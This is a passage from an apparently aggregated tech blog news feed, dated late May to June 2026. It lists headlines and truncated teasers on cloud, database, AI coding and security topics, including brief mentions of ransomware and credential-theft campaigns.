<p><strong>📅 May 29, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/aws-shield-ddos/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-petabytes-to-predictions-easy-bigquery-insights-in-google-sheets" class="group relative scroll-mt-24">
        <a href="#h3-from-petabytes-to-predictions-easy-bigquery-insights-in-google-sheets" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From petabytes to predictions: Easy BigQuery insights in Google Sheets
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-petabytes-to-predictions-easy-bigquery-insights-in-google-sheets"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Many organizations’ single source of truth is data that resides in BigQuery, Google’s governed, secure and petabyte-scale data platform. However, the &quot;last mile&quot; of ad-hoc analysis, modeling, and repo</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/data-analytics/using-connected-sheets-to-analyze-bigquery-data/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-relay-network-adopted-ai-coding-securely-and-built-the-foundation-for-agentic-development" class="group relative scroll-mt-24">
        <a href="#h3-how-relay-network-adopted-ai-coding-securely-and-built-the-foundation-for-agentic-development" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Relay Network Adopted AI Coding Securely and Built the Foundation for Agentic Development
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-relay-network-adopted-ai-coding-securely-and-built-the-foundation-for-agentic-development"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>See how Relay Network securely adopted AI coding with Snyk and GitHub Copilot, implementing &quot;secure at inception&quot; to reduce vulnerabilities and accelerate development.</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/relay-network-ai-coding-securely-coagentic-development/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-fix-sca-issues-at-scale-in-your-terminal-with-snyk-remediation-agent-in-the-cli" class="group relative scroll-mt-24">
        <a href="#h3-fix-sca-issues-at-scale-in-your-terminal-with-snyk-remediation-agent-in-the-cli" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Fix SCA issues at scale in your terminal with Snyk Remediation Agent in the CLI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-fix-sca-issues-at-scale-in-your-terminal-with-snyk-remediation-agent-in-the-cli"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Stop security backlogs. Snyk&#39;s Remediation Agent in the CLI pairs AI reasoning with Snyk security intelligence to fix SCA issues at scale directly in your terminal.</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/snyk-remediation-agent-in-the-cli/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-10-essential-reads-to-optimize-performance-security-and-roi-in-the-ai-era" class="group relative scroll-mt-24">
        <a href="#h3-10-essential-reads-to-optimize-performance-security-and-roi-in-the-ai-era" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 10 essential reads to optimize performance, security, and ROI in the AI era
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-10-essential-reads-to-optimize-performance-security-and-roi-in-the-ai-era"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As enterprise IT organizations push deeper into operationalizing AI, the conversation has shifted from theoretical capability to hard execution metrics. Whether your team is talking with customers abo</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/10-essential-reads-optimize-performance-security-and-roi-ai-era"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-anthropics-mythos-glasswing-and-ais-next-phase" class="group relative scroll-mt-24">
        <a href="#h3-anthropics-mythos-glasswing-and-ais-next-phase" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Anthropic’s Mythos, Glasswing, and AI’s Next Phase
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-anthropics-mythos-glasswing-and-ais-next-phase"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is not a security problem. As we’ve settled into the speed of AI, it’s become clear that security isn’t a job solely for the security team. Here’s why. | Blog</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/anthropics-mythos-glasswing-and-how-the-industry-must-move-forward"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-is-digital-sovereignty-illusory-without-open-source-and-a-trusted-supply-chain" class="group relative scroll-mt-24">
        <a href="#h3-is-digital-sovereignty-illusory-without-open-source-and-a-trusted-supply-chain" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Is digital sovereignty illusory without open source and a trusted supply chain?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-is-digital-sovereignty-illusory-without-open-source-and-a-trusted-supply-chain"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For a Chief Information Officer (CIO) or VP of Infrastructure, the term &quot;digital sovereignty&quot; often arrives as a regulatory burden to support a collection of acronyms like DORA (the EU Digital Operati</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/digital-sovereignty-illusory-without-open-source-and-trusted-supply-chain"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-7-features-of-red-hat-identity-management-you-need-to-know-for-the-modern-enterprise" class="group relative scroll-mt-24">
        <a href="#h3-7-features-of-red-hat-identity-management-you-need-to-know-for-the-modern-enterprise" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 7 features of Red Hat Identity Management you need to know for the modern enterprise
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-7-features-of-red-hat-identity-management-you-need-to-know-for-the-modern-enterprise"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the era of hyper-distributed systems where AI agents traverse our networks, and hybrid clouds stretch from the edge to the core, the &quot;who&quot; and &quot;what&quot; of infrastructure access are more critical than</p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/7-features-red-hat-identity-management-you-need-know-modern-enterprise"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-continuous-offensive-security-the-line-weve-been-walking" class="group relative scroll-mt-24">
        <a href="#h3-continuous-offensive-security-the-line-weve-been-walking" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Continuous Offensive Security: The Line We've Been Walking
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-continuous-offensive-security-the-line-weve-been-walking"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Snyk&#39;s Continuous Offensive Security unifies DAST, AI pentesting, and agent red teaming to find exploitable flaws — not just bugs — before attackers do. Here&#39;s why lineage matters.</p>
<p><strong>📅 May 27, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/continuous-offensive-security/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-blog-introducing-falco-0440" class="group relative scroll-mt-24">
        <a href="#h3-blog-introducing-falco-0440" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Blog: Introducing Falco 0.44.0
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-blog-introducing-falco-0440"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Dear Falco Community, we are happy to announce the release of Falco 0.44.0 today! This release completes the deprecation cycle started in 0.42.0 and 0.43.0: the legacy eBPF probe, the gVisor engine, a</p>
<p><strong>📅 May 26, 2026</strong> • <strong>📰 Falco Blog</strong></p>
<p><a href="https://falco.org/blog/falco-0-44-0/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-please_read_me-the-opportunistic-ransomware-devastating-mysql-servers" class="group relative scroll-mt-24">
        <a href="#h3-please_read_me-the-opportunistic-ransomware-devastating-mysql-servers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 PLEASE_READ_ME: The Opportunistic Ransomware Devastating MySQL Servers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-please_read_me-the-opportunistic-ransomware-devastating-mysql-servers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore Labs uncovers a Ransomware detection campaign targeting MySQL servers. Attackers use Double Extortion and publish data to pressure victims.</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/please-read-me-opportunistic-ransomware-devastating-mysql-servers"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-in-two-may-2026-edition" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-in-two-may-2026-edition" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new in two: May 2026 edition
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-in-two-may-2026-edition"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Welcome back to “What’s new in two,” your quick hit of Redis releases you might’ve missed over the last month. If your backlog has been winning lately, no worries—we’ve got the recap. We’re covering t</p>
<p><strong>📅 May 29, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/whats-new-in-two-may-2026-edition/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scylladb-customer-experience-spotlight-tyler-denton" class="group relative scroll-mt-24">
        <a href="#h3-scylladb-customer-experience-spotlight-tyler-denton" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 ScyllaDB Customer Experience Spotlight: Tyler Denton
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scylladb-customer-experience-spotlight-tyler-denton"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Welcome to the first installment of a new blog series introducing some of the experts you’re likely to encounter when you work with ScyllaDB. Let&#39;s get to know Tyler Denton, a Solutions Architect on t</p>
<p><strong>📅 May 28, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/05/28/scylladb-customer-experience-spotlight-tyler-denton/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-conflict-free-replicated-data-types-power-active-active-database-replication" class="group relative scroll-mt-24">
        <a href="#h3-how-conflict-free-replicated-data-types-power-active-active-database-replication" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Conflict-free Replicated Data Types power active-active database replication
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-conflict-free-replicated-data-types-power-active-active-database-replication"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your application runs in three regions. A customer in Tokyo buys the last unit of a product at the exact moment a customer in Frankfurt buys the same SKU. Both writes succeed locally. Both replicas de</p>
<p><strong>📅 May 27, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/how-crdts-power-active-active-database-replication/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-best-paas-for-multi-region-deployments-in-2026" class="group relative scroll-mt-24">
        <a href="#h3-the-best-paas-for-multi-region-deployments-in-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Best PaaS for Multi-Region Deployments in 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-best-paas-for-multi-region-deployments-in-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Narrower than the general multi-region listicle. Specifically the PaaS-shaped products that handle deploys, scaling, routing, and database adjacency across regions, with the seven regions Railway runs</p>
<p><strong>📅 May 27, 2026</strong> • <strong>📰 Railway Blog</strong></p>
<p><a href="https://blog.railway.com/p/best-paas-multi-region-deployments-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-beyond-rag-using-yugabytedb-as-the-foundation-for-reliable-ai-decisions" class="group relative scroll-mt-24">
        <a href="#h3-beyond-rag-using-yugabytedb-as-the-foundation-for-reliable-ai-decisions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Beyond RAG: Using YugabyteDB as the Foundation for Reliable AI Decisions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-beyond-rag-using-yugabytedb-as-the-foundation-for-reliable-ai-decisions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>With YugabyteDB at the core, customer records, vector embeddings, policies, and audit logs live together in a single distributed data layer. There is one source of truth and one consistent answer. Thi</p>
<p><strong>📅 May 26, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/using-yugabytedb-for-reliable-ai-decisions/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-context-orchestration-what-it-is-how-it-works" class="group relative scroll-mt-24">
        <a href="#h3-context-orchestration-what-it-is-how-it-works" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Context orchestration: what it is & how it works
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-context-orchestration-what-it-is-how-it-works"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your LLM application works fine in a demo. You ship it to production, and it starts hallucinating on stale data, looping through the same tool calls, and burning through tokens in retry cycles. The mo</p>
<p><strong>📅 May 26, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/context-orchestration/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-single-shot-reliable-consumers-with-xreadgroup-claim-in-redis-84" class="group relative scroll-mt-24">
        <a href="#h3-single-shot-reliable-consumers-with-xreadgroup-claim-in-redis-84" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Single-shot reliable consumers with XREADGROUP CLAIM in Redis 8.4
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-single-shot-reliable-consumers-with-xreadgroup-claim-in-redis-84"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In Redis 8.4, we extended XREADGROUP with a new optional CLAIM parameter that lets a single command both consume new stream entries and reclaim idle pending ones. In this blog post, we&#39;ll cover: Why r</p>
<p><strong>📅 May 26, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/single-shot-reliable-consumers-with-xreadgroup-claim-in-redis-84/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
